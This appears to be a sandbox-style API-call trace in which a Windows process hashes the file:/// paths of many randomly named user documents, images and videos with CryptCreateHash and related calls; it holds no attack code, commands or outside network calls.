[0079.802] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.802] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.803] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned 0x40
[0079.803] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.803] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp/") returned 0x41
[0079.803] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x84, dwFlags=0x0) returned 1
[0079.803] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.803] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.803] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 0x5e
[0079.803] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.803] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 0x5e
[0079.803] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xbe, dwFlags=0x0) returned 1
[0079.803] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.803] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.803] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned 0x5e
[0079.803] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.803] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg/") returned 0x5f
[0079.803] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xc0, dwFlags=0x0) returned 1
[0079.803] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.803] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.803] wcslen (_String="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 0x2d
[0079.803] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.803] wcslen (_String="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 0x2d
[0079.803] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x5c, dwFlags=0x0) returned 1
[0079.803] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.803] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.803] wcslen (_String="file:///c:/users/atveydl98z/desktop/e79-i.png") returned 0x2d
[0079.803] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.803] wcslen (_String="file:///c:/users/atveydl98z/desktop/e79-i.png/") returned 0x2e
[0079.804] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x5e, dwFlags=0x0) returned 1
[0079.804] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.804] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.804] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 0x45
[0079.804] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.804] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 0x45
[0079.804] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8c, dwFlags=0x0) returned 1
[0079.804] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.804] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.804] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned 0x45
[0079.804] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.804] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv/") returned 0x46
[0079.804] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8e, dwFlags=0x0) returned 1
[0079.804] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.804] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.804] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned 0x41
[0079.804] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.804] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned 0x41
[0079.804] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x84, dwFlags=0x0) returned 1
[0079.804] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.804] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.804] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned 0x41
[0079.804] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.804] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf/") returned 0x42
[0079.804] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x86, dwFlags=0x0) returned 1
[0079.804] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.804] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.805] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 0x50
[0079.805] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.805] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 0x50
[0079.805] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xa2, dwFlags=0x0) returned 1
[0079.805] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.805] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.805] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned 0x50
[0079.805] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.805] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp/") returned 0x51
[0079.805] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xa4, dwFlags=0x0) returned 1
[0079.805] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.805] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.805] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 0x3e
[0079.805] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.805] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 0x3e
[0079.805] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.805] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.805] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.805] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned 0x3e
[0079.805] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.805] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf/") returned 0x3f
[0079.805] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x80, dwFlags=0x0) returned 1
[0079.805] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.805] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.805] wcslen (_String="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned 0x2e
[0079.805] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.806] wcslen (_String="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned 0x2e
[0079.806] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x5e, dwFlags=0x0) returned 1
[0079.806] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.806] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.806] wcslen (_String="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned 0x2e
[0079.806] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.806] wcslen (_String="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv/") returned 0x2f
[0079.806] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x60, dwFlags=0x0) returned 1
[0079.806] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.806] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.806] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 0x43
[0079.806] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.806] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 0x43
[0079.806] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x88, dwFlags=0x0) returned 1
[0079.806] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.806] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.806] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned 0x43
[0079.806] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.806] wcslen (_String="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx/") returned 0x44
[0079.806] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8a, dwFlags=0x0) returned 1
[0079.806] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.806] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.806] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned 0x52
[0079.806] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.806] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned 0x52
[0079.806] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xa6, dwFlags=0x0) returned 1
[0079.806] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.818] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.818] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned 0x52
[0079.818] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.818] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif/") returned 0x53
[0079.818] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xa8, dwFlags=0x0) returned 1
[0079.818] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.818] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.818] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned 0x45
[0079.818] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.818] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned 0x45
[0079.818] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8c, dwFlags=0x0) returned 1
[0079.818] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.819] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.819] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned 0x45
[0079.819] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.819] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp/") returned 0x46
[0079.819] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x8e, dwFlags=0x0) returned 1
[0079.819] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.819] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.819] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 0x36
[0079.819] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.819] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 0x36
[0079.819] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6e, dwFlags=0x0) returned 1
[0079.819] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.819] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.819] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned 0x36
[0079.819] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.819] wcslen (_String="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif/") returned 0x37
[0079.819] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x70, dwFlags=0x0) returned 1
[0079.819] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.819] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.819] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 0x39
[0079.819] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.819] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 0x39
[0079.819] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x74, dwFlags=0x0) returned 1
[0079.819] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.819] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.820] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned 0x39
[0079.820] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.820] wcslen (_String="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png/") returned 0x3a
[0079.820] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x76, dwFlags=0x0) returned 1
[0079.820] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.820] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.820] wcslen (_String="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned 0x36
[0079.820] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.820] wcslen (_String="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned 0x36
[0079.820] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x6e, dwFlags=0x0) returned 1
[0079.820] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.820] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.820] wcslen (_String="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned 0x36
[0079.820] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.820] wcslen (_String="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps/") returned 0x37
[0079.820] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x70, dwFlags=0x0) returned 1
[0079.820] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.820] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.820] wcslen (_String="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned 0x3b
[0079.820] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.820] wcslen (_String="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned 0x3b
[0079.820] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x78, dwFlags=0x0) returned 1
[0079.820] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.820] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.820] wcslen (_String="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned 0x3b
[0079.821] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.821] wcslen (_String="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx/") returned 0x3c
[0079.821] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7a, dwFlags=0x0) returned 1
[0079.821] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.821] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.821] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned 0x42
[0079.821] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.821] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned 0x42
[0079.821] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x86, dwFlags=0x0) returned 1
[0079.821] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.821] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.821] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned 0x42
[0079.821] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.821] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png/") returned 0x43
[0079.821] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x88, dwFlags=0x0) returned 1
[0079.821] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.821] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.821] wcslen (_String="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned 0x3a
[0079.821] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.821] wcslen (_String="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned 0x3a
[0079.821] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x76, dwFlags=0x0) returned 1
[0079.821] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.821] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.821] wcslen (_String="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned 0x3a
[0079.821] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.821] wcslen (_String="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps/") returned 0x3b
[0079.821] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x78, dwFlags=0x0) returned 1
[0079.822] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.822] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.822] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned 0x3d
[0079.822] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.822] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned 0x3d
[0079.822] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7c, dwFlags=0x0) returned 1
[0079.822] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.822] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.822] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned 0x3d
[0079.822] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.822] wcslen (_String="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf/") returned 0x3e
[0079.822] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0x7e, dwFlags=0x0) returned 1
[0079.822] CryptGetHashParam (in: hHash=0x1af658, dwParam=0x2, pbData=0x12ac8c, pdwDataLen=0x12aca4, dwFlags=0x0 | out: pbData=0x12ac8c, pdwDataLen=0x12aca4) returned 1
[0079.822] CryptDestroyHash (hHash=0x1af658) returned 1
[0079.822] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned 0x5c
[0079.822] CryptCreateHash (in: hProv=0x1aecc0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x12aca8 | out: phHash=0x12aca8) returned 1
[0079.822] wcslen (_String="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned 0x5c
[0079.822] CryptHashData (hHash=0x1af658, pbData=0x12acc8, dwDataLen=0xba, dwFlags=0x0) returned 1
